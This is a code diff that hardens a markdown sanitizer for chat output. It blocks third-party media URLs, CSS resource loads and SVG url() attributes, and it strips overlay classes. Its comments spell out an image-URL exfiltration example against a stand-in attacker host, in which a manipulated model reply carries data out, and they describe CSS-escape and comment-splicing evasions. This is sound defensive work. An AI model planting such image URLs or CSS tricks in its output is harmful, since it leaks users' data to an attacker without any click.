@@ -134,12 +139,11 @@ export const SAFE_HTML_TAGS = new Set([
134
139
  'center',
135
140
  'font',
136
141
  'big',
137
- // Media ('video' intentionally excluded — see the header comment)
142
+ // Media ('video' and 'iframe' intentionally excluded — see the header comment)
138
143
  'img',
139
144
  'picture',
140
145
  'source',
141
146
  'audio',
142
- 'iframe',
143
147
  'track',
144
148
  // Forms (rehype-raw allows them; mostly harmless for chat output)
145
149
  'button',
@@ -563,6 +567,91 @@ function srcsetHasUnsafeCandidate(srcset: string): boolean {
563
567
 
564
568
  const STRIP_ELEMENTS = new Set(['script', 'style', 'noscript', 'noembed', 'object', 'embed', 'applet', 'base', 'meta']);
565
569
 
570
+ /**
571
+ * Attributes the browser fetches on its own the moment the element renders,
572
+ * with no click: `img`/`source`/`audio`/`track` `src`, `srcset`, `poster`.
573
+ */
574
+ const MEDIA_URL_ATTRS = new Set(['src', 'srcset', 'poster']);
575
+
576
+ /**
577
+ * A CSS declaration that can load a resource: `url(…)` (except a `url(#id)`
578
+ * reference into the same document, which inline SVG gradients use),
579
+ * `image-set(…)` / `image(…)` / `src(…)`, which take a bare string, and any
580
+ * backslash, because a CSS escape spells `url` without the letters
581
+ * (`u\72 l(…)`). Over-matching only drops decoration.
582
+ */
583
+ const CSS_RESOURCE_RE = /\\|url\((?!\s*['"]?\s*#)|image(?:-set)?\(|\bsrc\(/i;
584
+
585
+ /**
586
+ * CSS comments, unterminated ones included. The style parser behind React's
587
+ * `style` prop deletes them before it reads a value, so `posi`, a comment and
588
+ * `tion:fixed` arrive as `position:fixed`, and `u`, a comment and `rl(…)` as
589
+ * `url(…)`. Every check on a CSS value runs on the text with them removed,
590
+ * and the scrubbed style is written back without them.
591
+ */
592
+ const CSS_COMMENT_RE = /\/\*[\s\S]*?(?:\*\/|$)/g;
593
+ const stripCssComments = (css: string): string => css.replace(CSS_COMMENT_RE, '');
594
+
595
+ /**
596
+ * SVG presentation attributes that take a `url(…)` to another document's
597
+ * paint server, marker, clip path, mask or filter (hast keys, lowercased). A
598
+ * browser fetches a cross-origin one as soon as the element renders.
599
+ */
600
+ const SVG_URL_ATTRS = new Set([
601
+ 'fill',
602
+ 'stroke',
603
+ 'markerstart',
604
+ 'markermid',
605
+ 'markerend',
606
+ 'clippath',
607
+ 'mask',
608
+ 'filter',
609
+ ]);
610
+
611
+ /**
612
+ * The classes the markdown pipeline puts on its own elements (GFM task lists
613
+ * and footnotes, the code language). Untrusted content keeps only these: the
614
+ * app's utility classes are in the page's CSS, so `<div class="fixed inset-0
615
+ * z-50">` is the same full-page overlay the style guard strips, spelled as
616
+ * classes.
617
+ */
618
+ const PIPELINE_CLASSES = new Set([
619
+ 'task-list-item',
620
+ 'contains-task-list',
621
+ 'footnotes',
622
+ 'sr-only',
623
+ 'data-footnote-backref',
624
+ ]);
625
+ const isPipelineClass = (name: string): boolean => PIPELINE_CLASSES.has(name) || /^language-[\w+#-]+$/.test(name);
626
+
627
+ function hasRemoteMediaUrl(attr: string, value: string, origins: AppOrigins): boolean {
628
+ if (attr !== 'srcset') return !isAppOriginUrl(value.trim(), origins);
629
+ return value.split(',').some(candidate => !isAppOriginUrl(candidate.trim().split(/\s+/)[0] ?? '', origins));
630
+ }
631
+
632
+ export interface RehypeStripUnsafeOptions {
633
+ /**
634
+ * Let media load from any origin. Off, media loads only from the app (see
635
+ * `isAppOriginUrl`): a third-party `src` / `srcset` / `poster`, every CSS
636
+ * declaration and SVG attribute that can load a resource are dropped. A
637
+ * third-party `img[src]` moves to `data-blocked-src`, where the `img`
638
+ * renderer draws a notice in its place (`ExternalMediaNotice`). Untrusted content
639
+ * must keep it off: an image URL is a request its author receives, and
640
+ * `![](https://attacker.example/?d=…)` in a model reply carries whatever the
641
+ * reply was made to put there, with no click.
642
+ */
643
+ allowRemoteMedia?: boolean;
644
+ /**
645
+ * The app's origins to decide against. Defaults to the app's origins when
646
+ * the plugin is built; the engine passes a snapshot so that a hydrating
647
+ * render gives the server's answer.
648
+ */
649
+ appOrigins?: AppOrigins;
650
+ }
651
+
652
+ /** The origins media may load from; `null` when it may load from anywhere (`allowRemoteMedia`). */
653
+ type MediaOrigins = AppOrigins | null;
654
+
566
655
  /**
567
656
  * Returns `properties` with the unsafe attributes dropped or rewritten, or the
568
657
  * ORIGINAL object when nothing had to change.
@@ -571,10 +660,13 @@ const STRIP_ELEMENTS = new Set(['script', 'style', 'noscript', 'noembed', 'objec
571
660
  * so a clean element keeps its own properties object — and, via
572
661
  * `scrubElement`, its node identity.
573
662
  */
574
- function scrubProperties(properties: Properties, tag: string): Properties {
663
+ function scrubProperties(properties: Properties, tag: string, media: MediaOrigins): Properties {
575
664
  if (!properties || typeof properties !== 'object') return properties;
576
665
 
577
666
  let next: Properties | undefined;
667
+ // Set once the loop is over: the author's own `data-blocked-src`, wherever it
668
+ // falls in the key order, must not survive, and ours must.
669
+ let blockedSrc: string | null = null;
578
670
 
579
671
  for (const key of Object.keys(properties)) {
580
672
  const lower = key.toLowerCase();
@@ -602,6 +694,22 @@ function scrubProperties(properties: Properties, tag: string): Properties {
602
694
  delete next[key];
603
695
  continue;
604
696
  }
697
+ if (media && MEDIA_URL_ATTRS.has(lower)) {
698
+ const v = Array.isArray(raw) ? raw.join(',') : raw;
699
+ if (typeof v === 'string' && hasRemoteMediaUrl(lower, v, media)) {
700
+ next ??= { ...properties };
701
+ delete next[key];
702
+ if (tag === 'img' && lower === 'src') blockedSrc = absoluteHttpUrl(v, media);
703
+ continue;
704
+ }
705
+ }
706
+ if (media && SVG_URL_ATTRS.has(lower) && typeof raw === 'string') {
707
+ if (CSS_RESOURCE_RE.test(stripCssComments(raw))) {
708
+ next ??= { ...properties };
709
+ delete next[key];
710
+ continue;
711
+ }
712
+ }
605
713
  // OVERLAY / UI-REDRESS GUARD. `style` is allowed (a content audit found
606
714
  // real published posts relying on it for `div.takeaway`, table styling
607
715
  // and reddit blockquotes), but the positioning subset of CSS is not a
@@ -624,10 +732,12 @@ function scrubProperties(properties: Properties, tag: string): Properties {
624
732
  // header, say) loses it — deliberately, because there is no way to tell
625
733
  // it apart from the redress payload at this layer, and a sticky header is
626
734
  // a smaller loss than a full-page phishing surface.
627
- if (lower === 'style' && typeof raw === 'string' && POSITIONING_DECL_RE.test(raw)) {
628
- const cleaned = raw
735
+ const dropDecl = (decl: string) => POSITIONING_DECL_RE.test(decl) || (media !== null && CSS_RESOURCE_RE.test(decl));
736
+ const css = lower === 'style' && typeof raw === 'string' ? stripCssComments(raw) : null;
737
+ if (css !== null && (css !== raw || css.split(';').some(dropDecl))) {
738
+ const cleaned = css
629
739
  .split(';')
630
- .filter(decl => !POSITIONING_DECL_RE.test(decl))
740
+ .filter(decl => !dropDecl(decl))
631
741
  .join(';')
632
742
  .trim();
633
743
  next ??= { ...properties };
@@ -636,6 +746,25 @@ function scrubProperties(properties: Properties, tag: string): Properties {
636
746
  }
637
747
  }
638
748
 
749
+ if (media) {
750
+ // The notice reads `data-blocked-src`; content must not write one of its own.
751
+ if ('dataBlockedSrc' in properties) {
752
+ next ??= { ...properties };
753
+ delete next.dataBlockedSrc;
754
+ }
755
+ if (blockedSrc) {
756
+ next ??= { ...properties };
757
+ next.dataBlockedSrc = blockedSrc;
758
+ }
759
+ const classes = properties.className;
760
+ if (Array.isArray(classes) && classes.some(c => !isPipelineClass(String(c)))) {
761
+ next ??= { ...properties };
762
+ const kept = classes.filter(c => isPipelineClass(String(c)));
763
+ if (kept.length) next.className = kept;
764
+ else delete next.className;
765
+ }
766
+ }
767
+
639
768
  return next ?? properties;
640
769
  }
641
770
 
@@ -644,16 +773,32 @@ function scrubProperties(properties: Properties, tag: string): Properties {
644
773
  * and all); otherwise the element with its attributes scrubbed and its
645
774
  * children rebuilt. Returns the ORIGINAL node when nothing changed.
646
775
  */
647
- function scrubElement(node: Element): Element | undefined {
776
+ function scrubElement(node: Element, media: MediaOrigins): Element | undefined {
648
777
  const tag = String(node.tagName ?? '').toLowerCase();
649
778
  if (STRIP_ELEMENTS.has(tag)) return undefined;
650
- const properties = scrubProperties(node.properties, tag);
651
- const children = scrubElementChildren(node.children);
779
+ const properties = scrubProperties(node.properties, tag, media);
780
+ let children = scrubElementChildren(node.children, media);
781
+ if (media && tag === 'a') children = blockedImagesAsText(children);
652
782
  if (properties === node.properties && children === node.children) return node;
653
783
  return { ...node, properties, children };
654
784
  }
655
785
 
656
- function scrubElementChildren(children: ElementContent[]): ElementContent[] {
786
+ /**
787
+ * A third-party image inside a link (`[![alt](src)](href)`) becomes the link's
788
+ * text: a blocked-image notice inside a link would turn the notice itself into
789
+ * the thing to click. The reader still has the link; the image never loads.
790
+ */
791
+ function blockedImagesAsText(children: ElementContent[]): ElementContent[] {
792
+ if (!children.some(c => c.type === 'element' && c.tagName === 'img' && c.properties.dataBlockedSrc)) return children;
793
+ return children.map(child => {
794
+ if (child.type !== 'element' || child.tagName !== 'img' || !child.properties.dataBlockedSrc) return child;
795
+ const alt =
796
+ typeof child.properties.alt === 'string' && child.properties.alt.trim() ? child.properties.alt : 'Image';
797
+ return { type: 'text', value: alt };
798
+ });
799
+ }
800
+
801
+ function scrubElementChildren(children: ElementContent[], media: MediaOrigins): ElementContent[] {
657
802
  const out: ElementContent[] = [];
658
803
  let changed = false;
659
804
  for (const child of children) {
@@ -661,7 +806,7 @@ function scrubElementChildren(children: ElementContent[]): ElementContent[] {
661
806
  out.push(child);
662
807
  continue;
663
808
  }
664
- const kept = scrubElement(child);
809
+ const kept = scrubElement(child, media);
665
810
  if (kept === undefined) {
666
811
  changed = true;
667
812
  continue;
@@ -675,7 +820,8 @@ function scrubElementChildren(children: ElementContent[]): ElementContent[] {
675
820
  /**
676
821
  * Defense-in-depth strip pass: drops the never-safe elements outright and
677
822
  * scrubs event handlers, unsafe URL schemes, `iframe[srcdoc]` and the
678
- * positioning subset of `style` off everything else.
823
+ * positioning subset of `style` off everything else — and, unless
824
+ * `allowRemoteMedia`, every media URL from outside the app.
679
825
  *
680
826
  * A pure rebuild rather than an in-place walk. `rehype-raw` and
681
827
  * `rehype-sanitize` — the two passes immediately before this one in
@@ -689,7 +835,8 @@ function scrubElementChildren(children: ElementContent[]): ElementContent[] {
689
835
  * affect the result, and dropping a strip-listed element here removes exactly
690
836
  * the subtree the old `splice`-then-`return index` removed.
691
837
  */
692
- export function rehypeStripUnsafe() {
838
+ export function rehypeStripUnsafe({ allowRemoteMedia = false, appOrigins }: RehypeStripUnsafeOptions = {}) {
839
+ const media: MediaOrigins = allowRemoteMedia ? null : (appOrigins ?? readAppOrigins());
693
840
  return (tree: Root): Root => {
694
841
  const out: RootContent[] = [];
695
842
  let changed = false;
@@ -698,7 +845,7 @@ export function rehypeStripUnsafe() {
698
845
  out.push(child);
699
846
  continue;
700
847
  }
701
- const kept = scrubElement(child);
848
+ const kept = scrubElement(child, media);
702
849
  if (kept === undefined) {
703
850
  changed = true;
704
851
  continue;
@@ -11,11 +11,15 @@
11
11
  import type React from 'react';
12
12
  import { MarkdownEngine, type MarkdownEngineProps } from './engine';
13
13
 
14
- export interface SimpleMarkdownRendererProps extends Omit<MarkdownEngineProps, 'extraAllowedHtmlTags'> {}
14
+ export interface SimpleMarkdownRendererProps extends Omit<
15
+ MarkdownEngineProps,
16
+ 'extraAllowedHtmlTags' | 'allowRemoteMedia'
17
+ > {}
15
18
 
16
19
  /**
17
20
  * A type-narrowed ALIAS of the engine, not a wrapper: the composition adds
18
- * no behavior (it only hides `extraAllowedHtmlTags` from the prop surface),
21
+ * no behavior (it only hides `extraAllowedHtmlTags` and `allowRemoteMedia`
22
+ * from the prop surface, so chat content can never widen the sanitizer),
19
23
  * and `MarkdownEngine` is already `memo`'d. Wrapping it in a second `memo`
20
24
  * bought nothing and cost an extra shallow-compare pass plus a fiber per
21
25
  * chat segment.